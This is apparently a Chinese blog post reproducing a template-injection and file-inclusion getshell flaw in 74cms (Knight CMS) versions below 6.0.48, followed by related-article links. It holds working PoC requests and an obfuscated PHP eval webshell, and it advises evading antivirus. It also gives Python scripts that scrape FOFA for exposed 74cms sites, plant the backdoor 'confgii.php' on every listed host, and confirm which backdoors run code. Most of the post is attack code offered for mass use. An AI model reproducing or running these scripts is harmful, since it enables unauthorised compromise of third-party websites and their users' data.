简介

骑士cms人才系统，是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统

公告地址：

http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格，导致了模板注入，可以进行远程命令执行

影响版本

骑士 CMS < 6.0.48

环境搭建

这里使用phpstudy进行搭建

下载地址：

http://www.74cms.com/download/index.html开始测试:

　1、注入模板到日志文件

发送poc：http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tplPOST：variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

注意的是我用win10电脑做测试，注入会被杀毒软件拦截，注意做免杀

根据报错查看日志：

路径为WWW\74cms\upload\data\Runtime\Logs\Home

　　2、文件包含

发送poc：http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tplPOST：variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log（日志文件名为日期）

此刻在根目录会成一个后门文件

3.直接用后门工具连接

知道了漏洞利用的过程，下面是自动化程序设计步骤

1.批量爬取该框架的url，这里需要换fofa的cookie才能爬取成功，要不只能爬取第一页

import requests
import base64
from lxml import etree
import time
import sys#第1页
#https://fofa.so/result?_=1608294544861&page=2&per_page=10&qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D
def fofa_search(search_data,page):#search_data='"glassfish" && port="4848" && country="CN"'headers={'cookie':'_fofapro_ars_session=53e19ce25439411e6b63466e166b9c27;result_per_page=20',#记得要换cookie}for yeshu in range(1,page+1):url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls=url+search_data_bstry:print('正在提取第' + str(yeshu) + '页')result=requests.get(urls,headers=headers).content#print(result.decode('utf-8'))soup = etree.HTML(result)ip_data=soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')ipdata='\n'.join(ip_data)print(ip_data)with open(r'ip2.txt','a+') as f:f.write(ipdata+'\n')f.close()time.sleep(5)#控制时间，防止过快网站反爬虫except Exception as e:print("出错啦！！！")if __name__ == '__main__':#page=sys.argv[2]page=110   #爬取多少页数search='74cms'fofa_search(search,int(page))

2.准备免杀的马

<?php
class JYWH{
function __destruct(){
$VKMF='PETFhL'^"\x31\x36\x27\x23\x1a\x38";
return @$VKMF("$this->BTMV");
}
}
$jywh=new JYWH();
@$jywh->BTMV=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

3.把上面的马利用base64编码保护起来

base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")

4.把马写进网站的php代码

<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>

执行上面的代码会生存一个后门文件

该漏洞手动测试流程

http://127.0.0.1/74cms/upload/?m=home&a=assign_resume_tpl
1.
variable=1&tpl=<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
2.
variable=1&tpl=data/Runtime/Logs/Home/21_01_04.log
3.
http://127.0.0.1/74cms/upload/confgii.php
mr6=phpinfo();http://127.0.0.1/74cms/upload/confgii.php?id=dd
mr6=cGhwaW5mbygp;

5，准备环节都做好了，下面是批量该漏洞的验证，同时上传后门

import requests
import time
headers={'Connection': 'keep-alive','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1',#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)#更多爬虫引擎：https://www.cnblogs.com/iack/p/3557371.html'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Sec-Fetch-Dest': 'document','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Sec-Fetch-Site': 'none','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}def check_vuln():payload_inject= '/?m=home&a=assign_resume_tpl'shell= '/confgii.php'proxys = {'http':'http://127.0.0.1:8080'}#代理data = {'variable': '1','tpl': '<?php $myfile = fopen("confgii.php", "w");fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSl'\'lXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XH'\'gyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7'\'CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ2'\'1yNiddOz8+"));fclose($myfile);?>;ob_flush();?>/r/n<qscms/company_show 列表名="info" />'}data2 = {'variable': '1','tpl': 'data/Runtime/Logs/Home/21_01_04.log'}i=1for ip in open('ip2.txt'):ip=ip.replace('\n','')inject_url=ip+payload_injecttry:print(str(i)+": checking--------->"+ip)vuln_code_w=requests.post(inject_url,data, headers=headers, verify=False, timeout=3).status_code#verify=Falsesi = i+1print(vuln_code_w)time.sleep(0.2)except Exception as e:print('出错啦！')time.sleep(0.2)shell_url=ip+shelltry:vuln_code_2=requests.post(inject_url,data2, headers=headers, verify=False, timeout=3).status_codeprint(vuln_code_2)time.sleep(0.2)except Exception as e:print("出错啦！")time.sleep(0.2)try:vuln_code=requests.get(shell_url, headers=headers, verify=False, timeout=3).status_codeprint(vuln_code)if vuln_code ==200:with open(r'vuln.txt','a+') as f:f.write(shell_url+'\n')f.close()print('成功上传shell：'+shell_url)else:print("不存在该漏洞！")time.sleep(0.2)except Exception as e:print("出错啦！")time.sleep(0.2)if __name__ == '__main__':check_vuln()

6.批量检测后门是否可以代码执行

import requests
import time
headers={'Connection': 'keep-alive','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1',#模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36#模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)#更多爬虫引擎：https://www.cnblogs.com/iack/p/3557371.html'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Sec-Fetch-Dest': 'document','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Sec-Fetch-Site': 'none','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}def check_vuln():shell= '/confgii.php'proxys = {'http':'http://127.0.0.1:8080'}#代理data2 = {'mr6': 'print("adminokok1");'}i=1for ip in open('vuln.txt'):ip=ip.replace('\n','')try:vuln_code=requests.post(ip, data2, headers=headers, verify=False, timeout=3)a=vuln_code.text#print(a)if a=='adminokok1':print(ip+"   :------------->  检测到已经成功上传后门！！！")with open(r'shell.txt','a+') as f:f.write(ip+'\n')f.close()else:print(ip+"   :-----> 上传后门失败！")time.sleep(0.5)except Exception as e:print("出错啦！")time.sleep(0.2)if __name__ == '__main__':check_vuln()

骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)相关推荐

骑士cms文件包含getshell复现
00X1 测试环境骑士 CMS 6.0.48以下均存在此漏洞,本文复现使用骑士cms 6.0.20,下载地址: http://www.74cms.com/download/index.html 注意 ...
cms php vue 开源_骑士CMS文件包含+getshell
0x00简单介绍骑士cms人才系统,是一项基于php+mysql为核心的开源人才网站系统. 0x01漏洞概述骑士cms官方发布安全更新,修复了一处远程代码执行漏洞.由于骑士cms某些函数过滤不严谨 ...
[HXBCTF 2021]easywill writeup（WillPHP源码审计+利用pearcmd.php文件包含getshell）
[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell) [HXBCTF 2021]easywill 1.WillPHP ...
漏洞复现-Phpmyadmin setup.php反序列化漏洞（WooYun-2016-199433）
Phpmyadmin setup漏洞复现漏洞描述影响版本漏洞复现漏洞修复漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...
骑士CMS模版注入+文件包含getshell复现
声明好好学习,天天向上漏洞描述骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统.软件具执行效率高.模板自由切换.后台管理功能方便等诸多优秀特点. 骑 ...
(环境搭建+复现)74CMS模版注入+文件包含getshell
0x00 简介骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案. 0x01 漏洞概述骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞. ...
discuz7.2漏洞复现--python编写poc
环境搭建准备一台win7装上的phpstudy 将discuz7.2源码放进去安装discuz之前,需要先安装center 文件夹搭建存放的位置是: 解压完成之后更改名称再然后需要把ucente ...
文件包含getshell
简介开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含. allow_url_fopen = On(是否允许打开远程 ...
【漏洞复现】Moniker禁用绕过漏洞|ole逻辑漏洞(CVE-2017-8570)
>> 在上一篇文章中提到了由于注册表项关于 ActiveX 控件功能的设置,导致 0199 的威胁并没有想象中的广泛,然而衍生漏洞 8570 的威胁却要比 0199 大得多: 微软修复 C ...
【漏洞复现】Apache Shiro 反序列化漏洞
Apache Shiro 反序列化漏洞一.简介二.环境三.漏洞原理四.AES秘钥 1.判断AES秘钥五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)

简介

影响版本

环境搭建

骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)相关推荐

最新文章

热门文章